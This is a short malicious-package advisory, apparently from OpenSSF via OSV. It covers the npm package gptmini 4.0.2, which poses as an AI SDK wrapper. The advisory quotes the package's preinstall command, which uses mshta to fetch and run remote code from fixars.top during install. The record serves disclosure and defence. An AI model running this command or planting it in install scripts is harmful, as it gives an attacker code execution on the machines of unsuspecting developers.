OpenSSF/OSV advisory MAL-2026-6537 confirms this npm version as malicious. On `npm install`, the package's preinstall lifecycle script (preinstall.js, declared via scripts.preinstall "node preinstall.js") shells out with `exec('cmd /c "mshta http://fixars.top"')`. This causes Windows to fetch and execute an HTML Application from the remote host fixars.top over plain HTTP at install time with no user interaction, yielding remote code execution on the installer's machine...
Source
OpenSSF Malicious Packages via OSV
Summary
Malicious code in gptmini (npm)
Details
On `npm install`, the package's preinstall lifecycle script (preinstall.js, declared via scripts.preinstall "node preinstall.js") shells out with `exec('cmd /c "mshta http://fixars.top"')`. This causes Windows to fetch and execute an HTML Application from the remote host fixars.top over plain HTTP at install time with no user interaction, yielding remote code execution on the installer's machine. The package presents itself as a Node.js wrapper for a GPT/OpenAI-style SDK (name `gptmini`, baseUrl https://api.openllm.ai/v1), with empty author metadata — an AI-SDK-shaped lure paired with an install-time dropper to an attacker-controlled domain unrelated to any documented publisher.
Decision reason
OpenSSF Malicious Packages via OSV confirms gptmini@4.0.2 as malicious (MAL-2026-6537): Malicious code in gptmini (npm)